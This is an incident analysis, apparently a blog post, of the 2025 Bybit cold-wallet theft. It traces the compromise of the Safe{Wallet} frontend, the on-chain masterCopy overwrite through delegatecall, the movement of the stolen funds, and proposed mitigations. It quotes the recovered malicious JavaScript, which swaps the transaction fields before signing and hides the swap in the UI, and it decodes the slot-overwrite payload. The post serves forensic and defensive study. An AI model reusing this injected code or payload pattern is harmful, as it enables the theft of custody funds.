Bybit $1.46B Case Research: Tracing the Safe{Wallet} delegatecall Takeover
When I work an incident like this, I don't start from the headline number. I start from one question: what exactly did the signers approve, byte for byte, and why did the chain accept it? The $1.46B figure is just the blast radius. The interesting part of Bybit is that every on-chain step was valid — valid signatures, valid execTransaction, valid opcode. The lie lived one layer above the chain, in a JavaScript bundle served from an S3 bucket.
This is a reconstruction from public forensic material (Sygnia, Verichains, Mandiant via Safe, NCC Group, BlockSec, CertiK, AnChain.AI). I'll flag where attribution is firm and where it's still inference.
The takeaway I keep coming back to: a 3-of-n multisig only protects the moment of signing. It does nothing about what you're actually signing.
Target architecture: where the trust boundary really sits
Bybit's ETH cold wallet was a Safe (formerly Gnosis Safe) smart account at 0x1db9...dcf4, configured 3-of-n.
Safe accounts are proxies. Two storage slots matter for this incident (per BlockSec's analysis):
masterCopyat slot 0 — the implementation address the proxydelegatecalls into for all logic, including signature verification.thresholdat slot 4 — thenin n-of-m. For Bybit,3.
Because the proxy reaches its implementation via delegatecall, the implementation executes in the proxy's own storage context. Hold onto that — it's the entire game. Anything that runs via delegatecall from this account can write slot 0 and replace the brain of the wallet.
The signing path is execTransaction(...) on the implementation:
function execTransaction(
address to,
uint256 value,
bytes calldata data,
Enum.Operation operation, // 0 = Call, 1 = DelegateCall
uint256 safeTxGas,
uint256 baseGas,
uint256 gasPrice,
address gasToken,
address payable refundReceiver,
bytes memory signatures
) public payable returns (bool success);
execTransaction hashes these fields (EIP-712), runs checkSignatures(...) against the threshold, then calls execute(to, value, data, operation, ...). When operation == 1, execute performs a delegatecall to to. The signers approve to, data, and operation. If those three are poisoned, the contract does exactly what it's told.
That's the trust boundary: not the keys, not the threshold, but the integrity of the fields presented to the signer. The attacker attacked the presentation, not the cryptography.
Off-chain: the tampered JavaScript
Forensics (Sygnia, Verichains) traced the breach to a compromised Safe{Wallet} developer machine, then AWS access, then a modified frontend bundle (_app-52c9031bfa03da47.js) served from Safe's S3 bucket. NCC Group recovered the injected logic from a Wayback snapshot. Lightly reformatted:
let wa = ["0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4", // Bybit cold wallet
"0x19c6876e978d9f128147439ac4cd9ea2582cd141"];
let ba = ["0x828424517f9f04015db02169f4026d57b2b07229", // additional targets
"0x7c1091cf6f36b0140d5e2faf18c3be29fee42d97"];
let ta = "0x96221423681a6d52e184d440a8efcebb105c7242"; // delegatecall target
let da = "0xa9059cbb000000000000000000000000bdd077f651ebe7f7b3ce16fe5f2b025be2969516" +
"0000000000000000000000000000000000000000000000000000000000000000";
let op = 1; // delegatecall
let vl = 0;
let sga = 45746;
const cf = wa.some(k1 => lu.includes(k1)); // is the Safe a target?
const cb = ba.some(k1 => sa.includes(k1)); // is the signer a target?
if (cf == true && se.data.operation == 0) {
const td = structuredClone(se.data); // stash the REAL tx for display
se.data.to = ta;
se.data.operation = op;
se.data.data = da;
se.data.value = vl;
se.data.safeTxGas = sga;
// sign the MALICIOUS payload...
const r = await sd.signTransaction(se, st);
r.data = td; // ...then restore the real one in the UI
se.data = td;
return r;
}
Read what this actually does, because it's a textbook supply-chain signing attack:
- Targeting. It only fires for Bybit's Safe (
wa) / specific signers (ba). Everyone else sees a normal Safe{Wallet}. That selectivity is why it stayed invisible for days. - Swap before sign. When a legit
Call(operation0) transfer is being built, it clones the real tx (td), then overwritesto,data,operation,value,safeTxGaswith the attacker's payload. - Sign the lie.
signTransactionproduces a valid signature over the malicious fields. - Restore the truth. It puts the original data back (
r.data = td; se.data = td) so the UI and any post-sign review still show the benign transfer. The signer's mental model never updates.
Now decode da. The selector 0xa9059cbb is transfer(address,uint256) — the ERC-20 selector. That's deliberate camouflage. But the target ta = 0x9622...7242 isn't a token; it's an attacker contract reached via delegatecall. Its transfer(address,uint256) is a decoy that writes its first argument — 0xbdd077...9516 — into storage slot 0. The amount argument is 0, ignored. So:
A function that looks like an ERC-20 transfer, executed via
delegatecall, overwritesmasterCopy. One signed transaction swaps the wallet's entire implementation.
On-chain: the takeover transaction
The malicious execTransaction landed here: 0x46deef...7882. Decoded, the signed fields were:
to = 0x96221423681a6d52e184d440a8efcebb105c7242(attacker contract, deployed Feb 18 — three days early)operation = 1(delegatecall)data = 0xa9059cbb…bdd077…9516…00(transfer()decoy writing slot 0)value = 0,safeTxGas = 45746
Execution flow inside the call:
- Proxy
delegatecalls its current (legit)masterCopy;execTransactionruns. checkSignaturesvalidates the three real signatures over the malicious hash. Passes — the signers genuinely signed this.execute(...)seesoperation == 1anddelegatecalls into0x9622...7242in the proxy's storage context.- The decoy
transfer()writes0xbdd077...9516to slot 0.masterCopyis now the attacker's implementation0xbdd077…9516.
From this block onward, the Safe's "logic" is attacker code. AnChain.AI and Sygnia reverse-engineered it to contain sweepETH() and sweepERC20() — drain primitives with no signature checks. The multisig was structurally over.
Transaction trail: following the money out
With the implementation swapped, draining needed no further approvals. Per CertiK's transaction set, all from victim 0x1db9...dcf4 to attacker 0x0fa0…6d2e:
- 401,346 ETH —
0xb61413…f072c - 90,375 stETH —
0xa284a1…1fae0 - 15,000 cmETH —
0x847b84…88647 - 8,000 mETH —
0xbcf316…a7b20 - 90 USDT —
0x25800d…217c9
Then standard Lazarus dispersion: fan-out to fresh wallets, DEX swaps of LSTs into native ETH (to shed freezable/pausable tokens), and downstream mixing. The FBI attributes this to the DPRK cluster it tracks as TraderTraitor (Lazarus). Within ~2 minutes of execution, the attacker replaced the injected JS with a clean version to burn the evidence.
Full kill chain (forensic timeline)
Sygnia + Mandiant (via Safe) put the on-chain minute at the end of a ~3-week operation:
- Feb 2 — C2 domain
getstockprice[.]comregistered. - Feb 4 — Safe{Wallet} developer's macOS host compromised via social engineering (a malicious Docker/Python project in
~/Downloads). - Feb 5 — Stolen AWS session token used; a rogue MFA device registration attempt.
- Feb 5–17 — Recon inside Safe's AWS: IAM roles, S3 buckets.
- Feb 19 — Malicious JS injected into the S3-hosted frontend, gated to Bybit's wallet.
- Feb 21, ~14:13 UTC — Bybit runs a routine cold→warm transfer; payload swapped; ~400K ETH drained. Cleanup minutes later.
Note the asymmetry: weeks of patient Web2 intrusion, minutes of on-chain finality. No smart-contract bug, no broken cryptography. Safe's contracts and signers' keys were never the weakness; the build/serve pipeline of the signing UI was.
What I'd actually change (operator view)
Having traced it end to end, the mitigations that would have broken this specific chain:
- Independent calldata verification before signing. Reconstruct
to/data/operationfrom raw bytes on a separate device and confirmoperation == 0for treasury transfers. The attack survives only because nobody decoded the payload off the compromised UI. Decodingdaalone would have screamed. - Refuse blind
delegatecallon custody wallets. A policy engine that hard-blocksoperation == 1for cold-wallet flows kills the masterCopy overwrite outright. - Treat the frontend as signing infrastructure. SRI hashes, code signing, locked deploy paths, and integrity monitoring on the served bundle. An S3 object with write access should never be one credential away from your treasury.
- Watch slot 0. Alert on any
masterCopy/implementation change on custody Safes. That single invariant is a high-signal, low-noise tripwire. - Semantic display on the hardware wallet. Ledger showed raw fields; "interpreting raw multisig data on a tiny screen" is not a control. Push for clear-signing / structured display for Safe operations.
Confidence notes
- Firm: the on-chain artifacts (tx hashes, addresses, slot-0 overwrite,
operation=1, decodedda) are independently verifiable on Etherscan and consistent across CertiK, BlockSec, and NCC Group. - Firm: the tampered-JS mechanism — NCC recovered it from a public Wayback snapshot; Verichains/Sygnia corroborate.
- High but report-dependent: the macOS→AWS→S3 intrusion path and the timeline come from Sygnia/Mandiant; some internal AWS specifics remain undisclosed.
- Attribution: Lazarus/TraderTraitor per FBI and Arkham; standard caveats on nation-state attribution apply.
Sources
- NCC Group — In-Depth Technical Analysis of the Bybit Hack (recovered JS, off-chain breakdown):
https://www.nccgroup.com/us/research-blog/in-depth-technical-analysis-of-the-bybit-hack/ - BlockSec — In-depth analysis of the malicious Safe{Wallet} upgrade (slot mechanics):
https://blocksec.com/blog/bybit-1-5-b-hack-in-depth-analysis-of-the-malicious-safe-wallet-upgrade-attack - CertiK — Bybit Incident Technical Analysis (tx hashes, addresses):
https://www.certik.com/blog/bybit-incident-technical-analysis - Sygnia — Bybit Investigation / "What We Know So Far" (timeline):
https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ - AnChain.AI — Smart Contract Forensics Timeline (sweep functions, bytecode RE):
https://www.anchain.ai/blog/bybit - Safe Ecosystem Foundation — forensic statement:
https://x.com/safe/status/1894768522720350673 - Bybit — official cold wallet incident post-mortem:
https://announcements.bybit.com/article/incident-update---eth-cold-wallet-incident-blt292c0454d26e9140/ - FBI IC3 — PSA on TraderTraitor / DPRK:
https://www.ic3.gov/PSA/2025/PSA250226
